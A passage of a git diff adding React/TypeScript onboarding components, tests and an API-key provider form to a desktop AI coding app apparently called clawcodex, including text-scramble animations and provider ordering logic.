+      <a href={href} rel="noreferrer" target="_blank">
+        <ExternalLink className="size-3" />
+        {children}
+      </a>
+    </Button>
+  )
+}
+
+export function Status({ children }: { children: React.ReactNode }) {
+  return (
+    <div className="flex items-center gap-2.5 py-1 text-sm text-muted-foreground" role="status">
+      <Loader className="size-7" type="lemniscate-bloom" />
+      {children}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/onboarding/glyph.tsx b/ui-desktop/src/components/onboarding/glyph.tsx
new file mode 100644
index 000000000..a3166ec0d
--- /dev/null
+++ b/ui-desktop/src/components/onboarding/glyph.tsx
@@ -0,0 +1,170 @@
+import { useEffect, useState } from 'react'
+
+import { Loader2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+// Borrowed from the gateway "connecting" overlay: a mono, letter-spaced label
+// that decodes left-to-right from scrambled glyphs into the real text, with a
+// blinking block cursor. Ties onboarding's success moment to that same motif.
+// Cuneiform glyphs (array, since each is a surrogate pair) for the scramble.
+// Hero "X CONNECTED" decode uses the SAME ascii map as the connecting overlay.
+const ASCII_GLYPHS = [...'/\\|-_=+<>~:*']
+const pickAscii = () => ASCII_GLYPHS[(Math.random() * ASCII_GLYPHS.length) | 0]
+// Cuneiform is reserved for the subtle "other text" (model name + BEGIN) easter egg.
+const SCRAMBLE_GLYPHS = [...'𒀀𒀁𒀂𒀅𒀊𒀖𒀜𒀭𒀲𒀸𒁀𒁉𒁒𒁕𒁹𒂊𒃻𒄆𒄴𒅀𒆍𒇽𒈨𒉡']
+const GLYPH_SET = new Set(SCRAMBLE_GLYPHS)
+const pickGlyph = () => SCRAMBLE_GLYPHS[(Math.random() * SCRAMBLE_GLYPHS.length) | 0]
+// How many trailing characters of each word scramble during decode-in.
+const DECODE_TAIL = 4
+
+// Renders text where cuneiform scramble-glyphs are dropped to a smaller em-size
+// (resolved Latin chars stay full size) — keeps the easter-egg glyphs subtle.
+export function GlyphText({ text }: { text: string }) {
+  return (
+    <>
+      {Array.from(text, (ch, i) =>
+        GLYPH_SET.has(ch) ? (
+          <span className="text-[0.62em]" key={i}>
+            {ch}
+          </span>
+        ) : (
+          ch
+        )
+      )}
+    </>
+  )
+}
+
+function useDecoded(text: string): string {
+  const [out, setOut] = useState(text)
+
+  useEffect(() => {
+    if (typeof window !== 'undefined' && window.matchMedia?.('(prefers-reduced-motion: reduce)').matches) {
+      setOut(text)
+
+      return
+    }
+
+    // Each WORD keeps its head static and only churns its tail (last few chars),
+    // resolving left-to-right across all tails — same anchor-the-prefix trick the
+    // connecting overlay uses ("CONN" static, "ECTING" churns), applied per word
+    // so both the provider and "CONNECTED" decode and time stays constant.
+    const chars = [...text]
+    const scrambleable = chars.map(() => false)
+
+    for (let i = 0; i < chars.length;) {
+      if (!/[a-z0-9]/i.test(chars[i])) {
+        i += 1
+
+        continue
+      }
+
+      let j = i
+
+      while (j < chars.length && /[a-z0-9]/i.test(chars[j])) {
+        j += 1
+      }
+
+      for (let k = Math.max(i, j - DECODE_TAIL); k < j; k += 1) {
+        scrambleable[k] = true
+      }
+
+      i = j
+    }
+
+    const tailIndices = chars.map((_, idx) => idx).filter(idx => scrambleable[idx])
+    let resolved = 0
+
+    const id = window.setInterval(() => {
+      resolved += 0.5
+      const settled = new Set(tailIndices.slice(0, Math.floor(resolved)))
+
+      setOut(chars.map((ch, idx) => (scrambleable[idx] && !settled.has(idx) ? pickAscii() : ch)).join(''))
+
+      if (Math.floor(resolved) >= tailIndices.length) {
+        window.clearInterval(id)
+      }
+    }, 45)
+
+    return () => window.clearInterval(id)
+  }, [text])
+
+  return out
+}
+
+// Continuously scrambles alphanumeric chars while `active` (used on exit so the
+// model name / button decay into ascii noise as they fade).
+export function useScramble(text: string, active: boolean): string {
+  const [out, setOut] = useState(text)
+
+  useEffect(() => {
+    if (!active) {
+      setOut(text)
+
+      return
+    }
+
+    const id = window.setInterval(() => {
+      setOut(Array.from(text, ch => (/[a-z0-9]/i.test(ch) ? pickGlyph() : ch)).join(''))
+    }, 45)
+
+    return () => window.clearInterval(id)
+  }, [text, active])
+
+  return out
+}
+
+export function DecodedLabel({ leaving, text }: { leaving?: boolean; text: string }) {
+  const decoded = useDecoded(text.toUpperCase())
+
+  return (
+    <span
+      className={cn(
+        'inline-flex items-center font-mono text-xs font-semibold uppercase tracking-[0.28em] tabular-nums text-primary transition duration-[360ms] ease-out',
+        leaving ? 'translate-y-2 opacity-0 saturate-0' : 'translate-y-0 opacity-100 saturate-100'
+      )}
+    >
+      <GlyphText text={decoded} />
+      <span
+        aria-hidden="true"
+        className="dither ml-1.5 -mr-[0.875rem] inline-block size-2 shrink-0 -translate-y-px rounded-[1px] text-primary"
+        style={{ animation: 'ob-decode-cursor 1s step-end infinite' }}
+      />
+      <style>{'@keyframes ob-decode-cursor { 0%, 49% { opacity: 1 } 50%, 100% { opacity: 0 } }'}</style>
+    </span>
+  )
+}
+
+// Terminal-flavored CTA to match the connecting overlay's hacker aesthetic:
+// mono, uppercase, letter-spaced, wrapped in primary brackets that light up on
+// hover. The whole onboarding "you're in" moment leans into this motif.
+export function HackeryButton({
+  disabled,
+  label,
+  loading,
+  onClick
+}: {
+  disabled?: boolean
+  label: React.ReactNode
+  loading?: boolean
+  onClick: () => void
+}) {
+  return (
+    <button
+      className={cn(
+        'group inline-flex items-center gap-2 rounded-md border border-(--stroke-nous) px-6 py-2.5',
+        'font-mono text-xs font-semibold uppercase text-primary',
+        'transition-all duration-150 hover:border-primary/60 hover:bg-primary/[0.06]',
+        'disabled:pointer-events-none disabled:opacity-50'
+      )}
+      disabled={disabled}
+      onClick={onClick}
+      type="button"
+    >
+      <span className="text-primary/40 transition-colors group-hover:text-primary">[</span>
+      {loading ? <Loader2 className="size-3 animate-spin" /> : null}
+      <span className="-mr-[0.25em] pl-[0.25em] tracking-[0.25em]">{label}</span>
+      <span className="text-primary/40 transition-colors group-hover:text-primary">]</span>
+    </button>
+  )
+}
diff --git a/ui-desktop/src/components/onboarding/index.test.tsx b/ui-desktop/src/components/onboarding/index.test.tsx
new file mode 100644
index 000000000..532a5149b
--- /dev/null
+++ b/ui-desktop/src/components/onboarding/index.test.tsx
@@ -0,0 +1,127 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { $desktopOnboarding, type DesktopOnboardingState, type OnboardingContext } from '@/store/onboarding'
+import type { OAuthProvider } from '@/types/clawcodex'
+
+import { Picker } from '.'
+
+function provider(id: string, name = id): OAuthProvider {
+  return {
+    cli_command: `clawcodex login ${id}`,
+    docs_url: `https://example.com/${id}`,
+    flow: 'pkce',
+    id,
+    name,
+    status: { logged_in: false }
+  }
+}
+
+function setProviders(providers: OAuthProvider[]) {
+  $desktopOnboarding.set({
+    configured: false,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false
+  } satisfies DesktopOnboardingState)
+}
+
+const ctx: OnboardingContext = { requestGateway: async () => undefined as never }
+
+afterEach(() => {
+  cleanup()
+
+  try {
+    window.localStorage.clear()
+  } catch {
+    // jsdom localStorage should always be present; ignore if not.
+  }
+
+  $desktopOnboarding.set({
+    configured: null,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers: null,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false
+  })
+})
+
+describe('onboarding Picker', () => {
+  it('features Nous Portal and hides other providers behind a disclosure', () => {
+    setProviders([provider('anthropic', 'Anthropic Claude'), provider('nous', 'Nous Portal')])
+    render(<Picker ctx={ctx} />)
+
+    expect(screen.getByText('Nous Portal')).toBeTruthy()
+    expect(screen.getByText('Recommended')).toBeTruthy()
+    // Fireworks is the always-visible #2 slot (after Nous), even while OAuth
+    // alternatives stay collapsed behind the disclosure.
+    expect(screen.getByText('Fireworks AI')).toBeTruthy()
+    expect(screen.queryByText('Anthropic API Key')).toBeNull()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Other providers' }))
+
+    expect(screen.getByText('Anthropic API Key')).toBeTruthy()
+    expect(screen.getByRole('button', { name: 'Collapse' })).toBeTruthy()
+  })
+
+  it('shows Fireworks in slot #2 ahead of other OAuth providers', () => {
+    setProviders([
+      provider('openai-codex', 'OpenAI Codex / ChatGPT'),
+      provider('minimax-oauth', 'MiniMax'),
+      provider('nous', 'Nous Portal')
+    ])
+    render(<Picker ctx={ctx} />)
+    fireEvent.click(screen.getByRole('button', { name: 'Other providers' }))
+
+    const labels = screen
+      .getAllByRole('button')
+      .map(el => el.textContent ?? '')
+      .filter(text => /Nous Portal|Fireworks AI|OpenAI OAuth|MiniMax|OpenRouter/.test(text))
+
+    const indexOf = (needle: string) => labels.findIndex(text => text.includes(needle))
+    expect(indexOf('Nous Portal')).toBeGreaterThanOrEqual(0)
+    expect(indexOf('Fireworks AI')).toBeGreaterThan(indexOf('Nous Portal'))
+    expect(indexOf('OpenAI OAuth')).toBeGreaterThan(indexOf('Fireworks AI'))
+    expect(indexOf('MiniMax')).toBeGreaterThan(indexOf('OpenAI OAuth'))
+  })
+
+  it('shows every provider directly when Nous Portal is absent', () => {
+    setProviders([provider('anthropic', 'Anthropic Claude'), provider('openai-codex', 'OpenAI Codex / ChatGPT')])
+    render(<Picker ctx={ctx} />)
+
+    expect(screen.getByText('Fireworks AI')).toBeTruthy()
+    expect(screen.getByText('Anthropic API Key')).toBeTruthy()
+    expect(screen.getByText('OpenAI OAuth (ChatGPT)')).toBeTruthy()
+    expect(screen.queryByText('Other sign-in options')).toBeNull()
+    expect(screen.queryByText('Recommended')).toBeNull()
+  })
+
+  it('offers "choose later" on first run and persists the skip', () => {
+    setProviders([provider('nous', 'Nous Portal')])
+    render(<Picker ctx={ctx} />)
+
+    const skip = screen.getByRole('button', { name: "I'll choose a provider later" })
+
+    fireEvent.click(skip)
+
+    expect($desktopOnboarding.get().firstRunSkipped).toBe(true)
+    expect(window.localStorage.getItem('clawcodex-onboarding-skipped-v1')).toBe('1')
+  })
+
+  it('hides "choose later" in manual (add-provider) mode', () => {
+    setProviders([provider('nous', 'Nous Portal')])
+    $desktopOnboarding.set({ ...$desktopOnboarding.get(), manual: true })
+    render(<Picker ctx={ctx} />)
+
+    expect(screen.queryByRole('button', { name: "I'll choose a provider later" })).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/onboarding/index.tsx b/ui-desktop/src/components/onboarding/index.tsx
new file mode 100644
index 000000000..126f33637
--- /dev/null
+++ b/ui-desktop/src/components/onboarding/index.tsx
@@ -0,0 +1,699 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { getGlobalModelOptions } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Input } from '@/components/ui/input'
+import { Progress } from '@/components/ui/progress'
+import { useI18n } from '@/i18n'
+import { Check, ChevronDown, ChevronLeft, KeyRound, Loader2 } from '@/lib/icons'
+import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
+import { cn } from '@/lib/utils'
+import { $desktopBoot, type DesktopBootState } from '@/store/boot'
+import {
+  $desktopOnboarding,
+  clearPendingProviderOAuth,
+  closeManualOnboarding,
+  confirmOnboardingModel,
+  DEFAULT_MANUAL_ONBOARDING_REASON,
+  DEFAULT_ONBOARDING_REASON,
+  dismissFirstRunOnboarding,
+  type OnboardingContext,
+  peekPendingProviderOAuth,
+  refreshOnboarding,
+  saveOnboardingApiKey,
+  setOnboardingMode,
+  startProviderOAuth
+} from '@/store/onboarding'
+import type { ModelOptionProvider, OAuthProvider } from '@/types/clawcodex'
+
+import { DocsLink, FlowPanel, Status } from './flow'
+import {
+  FeaturedProviderRow,
+  FireworksProviderRow,
+  OpenRouterProviderRow,
+  ProviderRow,
+  sortProviders
+} from './providers'
+
+export {
+  FeaturedProviderRow,
+  FireworksProviderRow,
+  KeyProviderRow,
+  OpenRouterProviderRow,
+  ProviderRow,
+  providerTitle,
+  sortProviders
+} from './providers'
+
+interface DesktopOnboardingOverlayProps {
+  enabled: boolean
+  onCompleted?: () => void
+  profile: string
+  requestGateway: OnboardingContext['requestGateway']
+}
+
+export interface ApiKeyOption {
+  description?: string
+  docsUrl: string
+  envKey: string
+  id: string
+  name: string
+  placeholder?: string
+  short?: string
+}
+
+// Curated order mirrors CANONICAL_PROVIDERS: Fireworks sits #2 overall (after
+// Nous Portal OAuth), ahead of OpenRouter and the rest of the key catalog.
+const API_KEY_OPTIONS: ApiKeyOption[] = [
+  {
+    id: 'fireworks',
+    name: 'Fireworks AI',
+    envKey: 'FIREWORKS_API_KEY',
+    docsUrl: 'https://app.fireworks.ai/settings/users/api-keys'
+  },
+  {
+    id: 'openrouter',
+    name: 'OpenRouter',
+    envKey: 'OPENROUTER_API_KEY',
+    docsUrl: 'https://openrouter.ai/keys'
+  },
+  {
+    id: 'openai',
+    name: 'OpenAI',
+    envKey: 'OPENAI_API_KEY',
+    docsUrl: 'https://platform.openai.com/api-keys'
+  },
+  {
+    id: 'gemini',
+    name: 'Google Gemini',
+    envKey: 'GEMINI_API_KEY',
+    docsUrl: 'https://aistudio.google.com/app/apikey'
+  },
+  {
+    id: 'xai',
+    name: 'xAI Grok',
+    envKey: 'XAI_API_KEY',
+    docsUrl: 'https://console.x.ai/'
+  },
+  {
+    id: 'local',
+    name: 'Local / custom endpoint',
+    envKey: 'OPENAI_BASE_URL',
+    docsUrl: 'https://github.com/agentforce314/clawcodex#bring-your-own-endpoint',
+    placeholder: 'http://127.0.0.1:8000/v1'
+  }
+]
+
+// Build the FULL API-key provider catalog from the backend model options so the
+// onboarding / Providers key form lists every `api_key` provider `clawcodex model`
+// knows about — not just the hand-curated five. Curated entries keep their
+// richer copy + placeholders and float to the top (recommended defaults); every
+// other api_key provider is appended with a generic "paste {KEY}" affordance.
+// OAuth / external providers are intentionally excluded here — they go through
+// the OAuth picker / sign-in flow, not a pasted key.
+function useApiKeyCatalog(): ApiKeyOption[] {
+  const [rows, setRows] = useState<ModelOptionProvider[]>([])
+
+  useEffect(() => {
+    let cancelled = false
+
+    // Best-effort — on failure the curated defaults still render. Wrapped in
+    // Promise.resolve().then so a synchronous throw (e.g. no desktop bridge in
+    // tests) is funneled into the same .catch instead of escaping.
+    void Promise.resolve()
+      .then(() => getGlobalModelOptions({ includeUnconfigured: true, explicitOnly: false }))
+      .then(res => {
+        if (!cancelled) {
+          setRows(res.providers ?? [])
+        }
+      })
+      .catch(() => {
+        // Ignore — fall back to the curated API_KEY_OPTIONS only.
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [])
+
+  return useMemo(() => {
+    const curatedByEnv = new Map(API_KEY_OPTIONS.map(o => [o.envKey, o]))
+    const derived: ApiKeyOption[] = []
+    const seenEnv = new Set<string>(API_KEY_OPTIONS.map(o => o.envKey))
+
+    for (const row of rows) {
+      // Only api_key providers can be activated with a pasted key. Skip OAuth /
+      // external / managed flows and anything missing an env var to write to.
+      if (row.auth_type && row.auth_type !== 'api_key') {
+        continue
+      }
+
+      const envKey = row.key_env
+
+      if (!envKey || seenEnv.has(envKey)) {
+        continue
+      }
+
+      seenEnv.add(envKey)
+      derived.push({
+        id: row.slug,
+        name: row.name,
+        envKey,
+        description: `Direct API access to ${row.name}.`,
+        docsUrl: ''
+      })
+    }
+
+    // Curated first (recommended order), then the rest alphabetically so the
+    // long tail is scannable.
+    derived.sort((a, b) => a.name.localeCompare(b.name))
+
+    return [...API_KEY_OPTIONS.filter(o => curatedByEnv.has(o.envKey)), ...derived]
+  }, [rows])
+}
+
+// Exit choreography, mirroring the gateway "connecting" overlay's timing:
+// text-out (360ms: CONNECTED fades down, rest scrambles+fades) → hold (300ms)
+// → surface-out (520ms, held back by [transition-delay:660ms]). Finalize after.
+const ONBOARDING_EXIT_MS = 1180
+
+export function DesktopOnboardingOverlay({
+  enabled,
+  onCompleted,
+  profile,
+  requestGateway
+}: DesktopOnboardingOverlayProps) {
+  const { t } = useI18n()
+  const onboarding = useStore($desktopOnboarding)
+  const boot = useStore($desktopBoot)
+  const ctxRef = useRef<OnboardingContext>({ requestGateway, onCompleted, profile })
+  ctxRef.current = { requestGateway, onCompleted, profile }
+
+  const ctx = useMemo<OnboardingContext>(
+    () => ({
+      requestGateway: (...args) => ctxRef.current.requestGateway(...args),
+      onCompleted: () => ctxRef.current.onCompleted?.(),
+      get profile() {
+        return ctxRef.current.profile
+      }
+    }),
+    []
+  )
+
+  // Cinematic exit on "Begin": dissolve the panel + overlay (revealing the chat
+  // behind), THEN finalize so the unmount lands after the fade — mirrors the
+  // connecting overlay's exit choreography instead of cutting instantly.
+  const [leaving, setLeaving] = useState(false)
+
+  const finalizeOnboarding = () => {
+    if (leaving) {
+      return
+    }
+
+    const reduce = typeof window !== 'undefined' && window.matchMedia?.('(prefers-reduced-motion: reduce)').matches
+
+    if (reduce) {
+      confirmOnboardingModel(ctx)
+
+      return
+    }
+
+    setLeaving(true)
+    window.setTimeout(() => confirmOnboardingModel(ctx), ONBOARDING_EXIT_MS)
+  }
+
+  useEffect(() => {
+    if (enabled || onboarding.requested) {
+      void refreshOnboarding(ctx)
+    }
+  }, [ctx, enabled, onboarding.requested])
+
+  // When the Providers settings page asked to connect a specific provider, the
+  // store stashed its id. Once the provider list has loaded and we're back at
+  // an idle picker, launch that exact OAuth flow so the user lands directly in
+  // sign-in instead of the picker they just came from.
+  useEffect(() => {
+    if (!onboarding.manual || onboarding.providers === null || onboarding.flow.status !== 'idle') {
+      return
+    }
+
+    const pendingId = peekPendingProviderOAuth()
+
+    if (!pendingId) {
+      return
+    }
+
+    const provider = onboarding.providers.find(p => p.id === pendingId)
+
+    if (provider) {
+      // Only clear once we've committed to launching it, so a failed/empty
+      // provider fetch doesn't silently drop the hand-off.
+      clearPendingProviderOAuth()
+      void startProviderOAuth(provider, ctx)
+    } else if (onboarding.providers.length > 0) {
+      // The list loaded but the id isn't a real provider — drop the stale
+      // hand-off. An empty list means the fetch isn't ready yet, so keep it
+      // and let a later refresh retry.
+      clearPendingProviderOAuth()
+    }
+  }, [ctx, onboarding.flow.status, onboarding.manual, onboarding.providers])
+
+  // Mount from frame 1 so we replace the boot overlay seamlessly. The
+  // configured field stays null until the runtime check resolves; only then
+  // do we know whether to dismiss (true) or surface the picker (false).
+  // EXCEPTION: manual mode (user opened the selector from a working app to
+  // add/switch a provider) shows the overlay regardless of configured state.
+  if (onboarding.configured === true && !onboarding.manual) {
+    return null
+  }
+
+  // The user chose "I'll choose a provider later" on first run. Stay out of the
+  // way on every subsequent launch — they re-enter via Settings → Providers
+  // (manual mode), which sets manual=true and bypasses this gate.
+  if (onboarding.firstRunSkipped && !onboarding.manual) {
+    return null
+  }
+
+  const { flow } = onboarding
+  // Show the launch reason only when it's a meaningful, caller-supplied prompt —
+  // suppress the generic defaults (useless noise) and provider-setup errors
+  // (those are surfaced by FlowPanel, not as a banner).
+  const rawReason = onboarding.reason?.trim() || null
+
+  const reason =
+    rawReason &&
+    !isProviderSetupErrorMessage(rawReason) &&
+    rawReason !== DEFAULT_ONBOARDING_REASON &&
+    rawReason !== DEFAULT_MANUAL_ONBOARDING_REASON
+      ? rawReason
+      : null
+
+  // In manual mode the app is already configured, so the flow is "ready"
+  // immediately — no runtime gate needed. Otherwise wait for the readiness
+  // check (configured === false) before showing the picker.
+  const ready = onboarding.manual || (enabled && onboarding.configured === false)
+  const showPicker = flow.status === 'idle' || flow.status === 'success'
+  // The final "you're in" screen drops the card chrome and floats centered on
+  // the surface — same bare, cinematic treatment as the connecting overlay.
+  const bare = ready && !showPicker && flow.status === 'confirming_model'
+
+  return (
+    <div
+      className={cn(
+        'fixed inset-0 z-(--z-onboarding) flex items-center justify-center bg-(--ui-chat-surface-background) p-6 transition-opacity duration-[520ms] ease-out',
+        // On the bare confirm screen, hold the surface (text-out + hold) so the
+        // per-element exit plays before it dissolves.
+        bare && leaving ? '[transition-delay:660ms]' : '',
+        leaving ? 'pointer-events-none opacity-0' : 'opacity-100'
+      )}
+    >
+      <div
+        className={cn(
+          'relative w-full max-w-[45rem] transition-all duration-500 ease-out',
+          bare
+            ? ''
+            : 'overflow-hidden rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) shadow-nous',
+          // Bare confirm screen orchestrates its own per-element exit; the
+          // carded states use the simple lift/blur dissolve.
+          leaving && !bare
+            ? '-translate-y-1 scale-[0.985] opacity-0 blur-[2px]'
+            : 'translate-y-0 scale-100 opacity-100 blur-0'
+        )}
+      >
+        {showPicker || !ready ? <Header /> : null}
+        {onboarding.manual ? (
+          <Button
+            aria-label={t.common.close}
+            className="absolute right-3 top-3 z-10 text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground"
+            onClick={() => closeManualOnboarding()}
+            size="icon-sm"
+            variant="ghost"
+          >
+            <Codicon name="close" size="1rem" />
+          </Button>
+        ) : null}
+        <div className="grid gap-3 p-5">
+          {reason ? <ReasonNotice reason={reason} /> : null}
+          {ready ? (
+            showPicker ? (
+              <Picker ctx={ctx} />
+            ) : (
+              <FlowPanel ctx={ctx} flow={flow} leaving={leaving} onBegin={finalizeOnboarding} />
+            )
+          ) : (
+            <Preparing boot={boot} />
+          )}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+// The launch reason is a prompt ("why am I seeing this"), not an error. Only
+// rendered for meaningful caller-supplied reasons (defaults are filtered out
+// upstream), so it never shows the generic "no provider configured" noise.
+function ReasonNotice({ reason }: { reason: string }) {
+  return (
+    <div className="rounded-2xl border border-(--ui-stroke-tertiary) bg-(--ui-bg-tertiary)/40 px-4 py-3 text-sm text-muted-foreground">
+      {reason}
+    </div>
+  )
+}
+
+function Preparing({ boot }: { boot: DesktopBootState }) {
+  const { t } = useI18n()
+  const progress = Math.max(2, Math.min(100, Math.round(boot.progress)))
+  const hasError = Boolean(boot.error)
+  const installing = boot.phase.startsWith('runtime.')
+
+  return (
+    <div className="grid gap-3" role="status">
+      <p className="text-sm text-muted-foreground">
+        {installing ? t.onboarding.preparingInstall : t.onboarding.starting}
+      </p>
+      <Progress
+        aria-label={installing ? t.onboarding.preparingInstall : t.onboarding.starting}
+        destructive={hasError}
+        size="lg"
+        value={progress / 100}
+      />
+      <div className="flex items-center justify-between gap-3 text-xs text-muted-foreground">
+        <span className="truncate">{boot.message}</span>
+        <span>{progress}%</span>
+      </div>
+      {hasError ? <p className="text-xs text-destructive">{boot.error}</p> : null}
+    </div>
+  )
+}
+
+function Header() {
+  const { t } = useI18n()
+
+  return (
+    <div className="bg-(--ui-chat-bubble-background) px-5 pt-5 pb-1">
+      <h2 className="text-[0.9375rem] font-semibold tracking-tight">{t.onboarding.headerTitle}</h2>
+      <p className="mt-1 max-w-xl text-[0.8125rem] leading-5 text-(--ui-text-tertiary)">{t.onboarding.headerDesc}</p>
+    </div>
+  )
+}
+
+export const FEATURED_ID = 'nous'
+const SHOW_ALL_KEY = 'clawcodex-onboarding-show-all-v1'
+
+const readShowAll = () => {
+  try {
+    return window.localStorage.getItem(SHOW_ALL_KEY) === '1'
+  } catch {
+    return false
+  }
+}
+
+const persistShowAll = (value: boolean) => {
+  try {
+    window.localStorage.setItem(SHOW_ALL_KEY, value ? '1' : '0')
+  } catch {
+    // localStorage unavailable — degrade silently.
+  }
+
+  return value
+}
+
+export function Picker({ ctx }: { ctx: OnboardingContext }) {
+  const { t } = useI18n()
+  const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
+  const [showAll, setShowAll] = useState(readShowAll)
+  // Which key-form option to preselect when we flip to 'apikey' mode. The
+  // OpenRouter row selects its key; the generic link lands on the first option.
+  const [apiKeyInitialEnv, setApiKeyInitialEnv] = useState<string | undefined>(undefined)
+
+  const openKeyForm = (envKey?: string) => {
+    setApiKeyInitialEnv(envKey)
+    setOnboardingMode('apikey')
+  }
+
+  const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
+  const hasOauth = ordered.length > 0
+  const apiKeyOptions = useApiKeyCatalog()
+
+  // localEndpoint forces the key form regardless of `mode` (which a manual
+  // provider refresh may flip back to 'oauth'); it preselects the local option
+  // and hides the "back to sign in" link since the user came specifically to
+  // configure a custom endpoint.
+  if (localEndpoint || mode === 'apikey' || !hasOauth) {
+    return (
+      <div className="grid gap-3">
+        <ApiKeyForm
+          canGoBack={hasOauth && !localEndpoint}
+          initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : apiKeyInitialEnv}
+          onBack={() => setOnboardingMode('oauth')}
+          onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
+          options={apiKeyOptions}
+        />
+        {manual ? null : (
+          <div className="flex justify-center pt-1">
+            <ChooseLaterLink />
+          </div>
+        )}
+      </div>
+    )
+  }
+
+  if (providers === null) {
+    return <Status>{t.onboarding.lookingUpProviders}</Status>
+  }
+
+  const select = (p: OAuthProvider) => void startProviderOAuth(p, ctx)
+  const featured = ordered.find(p => p.id === FEATURED_ID) ?? null
+  const rest = featured ? ordered.filter(p => p.id !== FEATURED_ID) : ordered
+  // Collapse the secondary providers behind a disclosure only when Nous
+  // Portal is present to anchor the choice — otherwise show the full list.
+  const collapsible = Boolean(featured) && rest.length > 0
+  const showRest = !collapsible || showAll
+
+  return (
+    <div className="grid gap-2">
+      <div className="grid max-h-[60dvh] gap-2 overflow-y-auto p-1">
+        {featured ? <FeaturedProviderRow onSelect={select} provider={featured} /> : null}
+        {/* Slot #2 — always visible, matching CANONICAL_PROVIDERS (Nous → Fireworks). */}
+        <FireworksProviderRow onClick={() => openKeyForm('FIREWORKS_API_KEY')} />
+        {showRest ? (
+          <>
+            {rest.map(p => (
+              <ProviderRow key={p.id} onSelect={select} provider={p} />
+            ))}
+            <OpenRouterProviderRow onClick={() => openKeyForm('OPENROUTER_API_KEY')} />
+          </>
+        ) : null}
+      </div>
+      {collapsible ? (
+        <Button
+          className="mt-1 self-center font-medium"
+          onClick={() => setShowAll(persistShowAll(!showAll))}
+          size="xs"
+          type="button"
+          variant="text"
+        >
+          {showAll ? t.onboarding.collapse : t.onboarding.otherProviders}
+          <ChevronDown className={cn('size-3.5 transition', showAll && 'rotate-180')} />
+        </Button>
+      ) : null}
+      <div className="flex items-center justify-between gap-3 pt-1">
+        {/* First run only: let the user defer the choice and land in the app.
+            In manual mode the overlay already has a close affordance, so the
+            "choose later" escape would be redundant — hide it. */}
+        {manual ? <span /> : <ChooseLaterLink />}
+        <Button className="-mr-2 font-medium" onClick={() => openKeyForm()} size="xs" type="button" variant="text">
+          {t.onboarding.haveApiKey}
+        </Button>
+      </div>
+    </div>
+  )
+}
+
+// "I'll choose a provider later" — dismisses the first-run picker and persists
+// the skip so it never re-nags. The user connects a provider any time from
+// Settings → Providers. Rendered only on the unconfigured first-run flow.
+function ChooseLaterLink() {
+  const { t } = useI18n()
+
+  return (
+    <Button className="font-medium" onClick={() => dismissFirstRunOnboarding()} size="xs" type="button" variant="text">
+      {t.onboarding.chooseLater}
+    </Button>
+  )
+}
+
+// Presentational two-column key picker. Onboarding feeds it its curated
+// options + a ctx-bound save; the Providers settings page feeds it the full
+// provider catalog + a setEnvVar-backed save (plus `isSet`/`onClear` so it can
+// double as a manage surface). Keep it free of store/ctx coupling so both
+// surfaces render the identical form.
+export function ApiKeyForm({
+  canGoBack,
+  initialEnvKey,
+  isSet,
+  onBack,
+  onClear,
+  onSave,
+  options = API_KEY_OPTIONS,
+  redactedValue
+}: {
+  canGoBack: boolean
+  /** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
+   *  the local / custom endpoint form). Falls back to the first option. */
+  initialEnvKey?: string
+  isSet?: (envKey: string) => boolean
+  onBack: () => void
+  onClear?: (envKey: string) => void
+  onSave: (envKey: string, value: string, name: string, apiKey?: string) => Promise<{ message?: string; ok: boolean }>
+  options?: ApiKeyOption[]
+  redactedValue?: (envKey: string) => null | string | undefined
+}) {
+  const { t } = useI18n()
+
+  const [option, setOption] = useState<ApiKeyOption>(() => options.find(o => o.envKey === initialEnvKey) ?? options[0])
+
+  const [value, setValue] = useState('')
+  // Optional endpoint API key, only used by the local / custom endpoint option
+  // (whose `value` is the base URL). Cleared whenever the option changes.
+  const [localKey, setLocalKey] = useState('')
+  const [saving, setSaving] = useState(false)
+  const [error, setError] = useState<null | string>(null)
+  // `options` can change at runtime when callers filter the catalog (e.g. the
+  // Providers page wiring its search into this grid). Keep the selection valid
+  // by snapping back to the first remaining option when the current one drops.
+  useEffect(() => {
+    if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
+      setOption(options[0])
+      setValue('')
+      setLocalKey('')
+      setError(null)
+    }
+  }, [option.envKey, options])
+  // The catalog grid can be tall, leaving the entry field far below the fold.
+  // On selection we scroll the field into view and focus it so it's always
+  // obvious where to paste next.
+  const entryRef = useRef<HTMLDivElement>(null)
+
+  const pick = (o: ApiKeyOption) => {
+    setOption(o)
+    setValue('')
+    setLocalKey('')
+    setError(null)
+    requestAnimationFrame(() => {
+      entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
+      entryRef.current?.querySelector('input')?.focus()
+    })
+  }
+
+  const isLocal = option.envKey === 'OPENAI_BASE_URL'
+  const alreadySet = isSet?.(option.envKey) ?? false
+  // When set, surface the backend's redacted value (e.g. "sk-12…wxyz") as the
+  // placeholder so users can eyeball that the right key is in place.
+  const currentRedacted = alreadySet ? (redactedValue?.(option.envKey) ?? null) : null
+  // Only require a non-empty value — no length/format validation, so a short
+  // or unusual key can't block the user from continuing.
+  const canSave = value.trim().length >= 1
+  const optionCopy = t.onboarding.apiKeyOptions[option.id]
